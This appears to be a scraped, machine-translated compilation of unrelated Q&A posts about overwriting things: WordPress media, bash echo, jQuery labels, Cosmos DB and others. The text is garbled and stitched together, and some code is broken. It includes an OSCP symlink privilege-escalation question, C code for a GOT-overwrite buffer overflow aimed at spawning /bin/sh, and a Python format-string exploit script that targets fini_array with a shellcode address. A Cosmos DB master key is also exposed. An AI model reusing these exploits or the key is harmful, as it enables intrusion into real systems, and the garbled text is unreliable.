Snippet overwrite media files?

I’m looking for a snippet that will overwrite media files. Example: There a audio file called Dogpark.mp3 uploaded to wordpress. The next week I have a few file called Dogpark.mp3 which I want to upload and replace last weeks file. Is there a snippet library I can find snippet that does that? The client doesn’t want to use media replacement plugin. Thank you for your time.

Physical: Overwrite iPhone data

How long does it take iPhone 7 (iOS 12.2) to overwrite recently deleted photo / video data?

Does it happen instantly right after taking another photo / video (the new photo replaces the deleted data pointer and the deleted one is now unrecoverable?), Or does it take months?

Thank you!

linux: is it possible to do a bash script to simplify using echo to overwrite the same text file with new text?

What I'm trying to do is simplify using echo since I will be overwriting the same file each time with a different text.

I am currently using this in terminal:

echo "blah blah blah blah" > /home/spaz/Documents/folder1/folder2/filename.txt

and I would like to shorten that to something like:

customcommand blah blah blah blah

Overwrite the text by clicking the button multiple times.


I have buttons ("+") (green) for different sections, when I click on one of these buttons I open an input field and a text area field. The data of both fields must finally be placed in a database, with the foreign key of each section.


I display the section text on the title field label, so the user knows which sections the new input data belongs to.

This works fine, however, with each click of a "+" button, a new text is added, but the old text is not removed. How can I remove the old text and add the new one?

Here is the function:


        newCpId = $(this).parent(this).attr('id');

       $('label.headlineNewCp').before(' for ' + $(this).siblings('span').text() + ', ');

       $('#newCP').on('click', function() {
          //....for db                

Code (JavaScript):

Thanks guys!

Why typing into the Google Sheets formula field occasionally can overwrite text as if the Insert Keyboard feature is turned on when it isn't?

In the past few weeks, when I worked on several different sheets on different desktop computers, I noticed that as I type in the formula field, the text is randomly overwritten by about 10% of the keystrokes, as if the key Insert would have been activated momentarily. I cannot understand why. Thank you

linux – Looking for a way to overwrite a symbolic link

I am preparing for OSCP and ran into an interesting situation (Alpine Linux)

There is a demon super_service run by root which is reading the configuration file from /var/super_service/configs/ which is a symbolic link to the location that my user john You do not have write permissions.

$ id
uid=1000(john) gid=1000(john) groups=1000(john)

$ ls -la /var/super_service
drwxr-xr-x    2 root     root          4096 May  9  2019 .
drwxr-xr-x    3 root     root          4096 May  9  2019 ..
lrwxrwxrwx    1 root     root            13 May  9  2019 configs -> /etc/super_service/configs

$ ls -la /etc/super_service/configs
drwxr-xr-x    1 root     root          4096 Jan 29 12:10 .
drwxr-xr-x    1 root     root          4096 Jan 29 12:10 ..
-rw-------    1 root     root           283 Jan 23  2019 root.cfg

The potential flaw is that /var/super_service/configs/ symbolic link permissions are rwx for everyone. If I can "redirect" this symbolic link to the location controlled by me, I could control the configuration file read by super_service. Unfortunately, due to /var/super_service permissions (r-x) I cannot remove or replace this symbolic link.

I wonder if this situation is exploitable in some way.

I understand that if /var/super_service/configs it would be a normal file, not a symbolic link, with exact permissions. You could overwrite this file. But is there an equivalent of Overwrite what is applicable for symbolic links?

custom post types: overwrite function in parent topic function.php via child theme

I am trying to create a portfolio page using custom post types in the child theme. Here is the page of my site with & # 39; work & # 39; that I'm trying to convert using custom post types. I found this tutorial, however it is for a main topic. The tutorial uses the plugin function to add theme support for post thumbnails

if ( function_exists( 'add_theme_support' ) ) { 
add_theme_support( 'post-thumbnails' );
set_post_thumbnail_size( 280, 210, true ); // Normal post thumbnails
add_image_size( 'screen-shot', 720, 540 ); // Full size screen

However, my main theme (Twentysixteen) already has a function that can't connect

add_theme_support( 'post-thumbnails' );
    set_post_thumbnail_size( 1200, 9999 );

My question is what would be the correct way to approach the child issue in terms of incorporating the above? Should I wrap myself up? if ( function_exists main theme function declaration since i am looking to be able to overwrite it via child them functions.php?

buffer overflow: overwrite the pointer with an address

struct record {
char name(24);
char * message;

int main() {
puts("GOT Overwrite");

// Create the struct record
struct record student;
strcpy(, "Alice");
student.message = (char *) malloc(sizeof(char) * 24);
strcpy(student.message, "hello world");
printf("Message from %s: (%s)n",, student.message);

// Read some user data
// Could leak the memory at student.message
read(0,, 28);
printf("Message from %s: (%s)n",, student.message);

// Overwrite the message
// Could allow arbitary write at student.message
read(0, student.message, 4);
printf("Message from %s: (%s)n",, student.message);

// Print the name again
// The address of puts could have been changed to system
// and could be "/bin/sh"

What I want to do is overflow the pointer and insert an address in student.message. But the point is that the reading function prevents me from writing an address in the form of 'xefxbexadxde' in the student’s message. How do I format / place the address in the student.message pointer after filling the with padding?

Thank you

linux – How to disable relro to overwrite the fini_array element?

I am reading the book Hacking: The art of exploitation and there is an example of exploitation of format strings that tries to overwrite an address of the dtors
with the address of a shellcode environment variable.
I work on 64-bit Kali Linux and I already discovered that there are no dtors, so
Now I try to overwrite the fini_array.
I already verified that the exploit writes the correct address in the given address, but when I execute it with the address of fini_array I get a SIGSEV.
After reading this, I think the problem is that the partial relay does not allow me to overwrite fini_array.
This is the Python program that I use to exploit the vuln program:

import struct
import sys

num = 0
num1 = 0
num2 = 0
num3 = 0
test_val = 0

if len(sys.argv) > 1:
    num = int(sys.argv(1), 0)
    if len(sys.argv) > 2:
        test_val = int(sys.argv(2), 0)
        if len(sys.argv) > 3:
            num1 = int(sys.argv(3), 0)# - num
            if len(sys.argv) > 4:
                num2 = int(sys.argv(4), 0)# - num1 - num
                if len(sys.argv) > 5:
                    num3 = int(sys.argv(5), 0)# - num2 - num1 - num

addr1 = test_val+2
addr2 = test_val+4
addr3 = test_val+6

vals = sorted(((num, test_val), (num1, addr1), (num2, addr2), (num3, addr3)))

def pad(s):
    return s+"X"*(1024-len(s)-32)

exploit = ""
prev_val = 0
for val, addr in vals:
    if not val:
    val_here = val - prev_val
    prev_val = val
    exploit += "%{}x".format(val_here)
    if addr == test_val:
        exploit += "%132$hn"
    elif addr == addr1:
        exploit += "%133$hn"
    elif addr == addr2:
        exploit += "%134$hn"
    elif addr == addr3:
        exploit += "%135$hn"
exploit = pad(exploit)

exploit += struct.pack("Q", test_val)
exploit += struct.pack("Q", addr1)
exploit += struct.pack("Q", addr2)
exploit += struct.pack("Q", addr3)

print pad(exploit)

When I pass the address of the shellcode environment variable and the address of fini_array obtained with

objdump -s -j .fini_array ./vuln

I just received a SegmentationFault.
Now my question is what solution (maybe some gcc options) I could use to solve my problem.

How to overwrite / update a collection in Azure Cosmos DB from Databrick / PySpark

I have the following PySpark code written in Databricks Notebook that successfully saves sparkSQL results in Azure Cosmos DB with the line of code:


The complete code is as follows:

test = spark.sql("""SELECT
  Sales.CustomerID AS pattersonID1
 ,Sales.InvoiceNumber AS myinvoicenr1
FROM Sales
limit 4""")

## my personal cosmos DB
writeConfig3 = {
    "Endpoint": "",
    "Masterkey": "vwFEJXkYVEvyutviQhies8XuRcXJ2LWMM6TlF9SmHR6vif3vljD3OIO20GNgazUCA3vome6i6I90NdBT9eWodg==",
    "Database": "mydatabase",
    "Collection": "mycontainer",
    "Upsert": "true"

df = test.coalesce(1)


Using the code above, I have successfully written in my database Cosmos DB (mydatabase) and collection (mycontainer)
enter the description of the image here

When I try to overwrite the container by changing SparkSQL with the following (simply changing pattersonID1 to pattersonID2, and myinvoicenr1 to myinvoicenr2

test = spark.sql("""SELECT
  Sales.CustomerID AS pattersonID2
 ,Sales.InvoiceNumber AS myinvoicenr2
FROM Sales
limit 4""")

Instead of overwriting / updating the collection with the new query, Cosmos DB adds the container as follows:

enter the description of the image here

And still leave the original query in the collection:

enter the description of the image here

Is there any way to completely overwrite or update DB cosmos?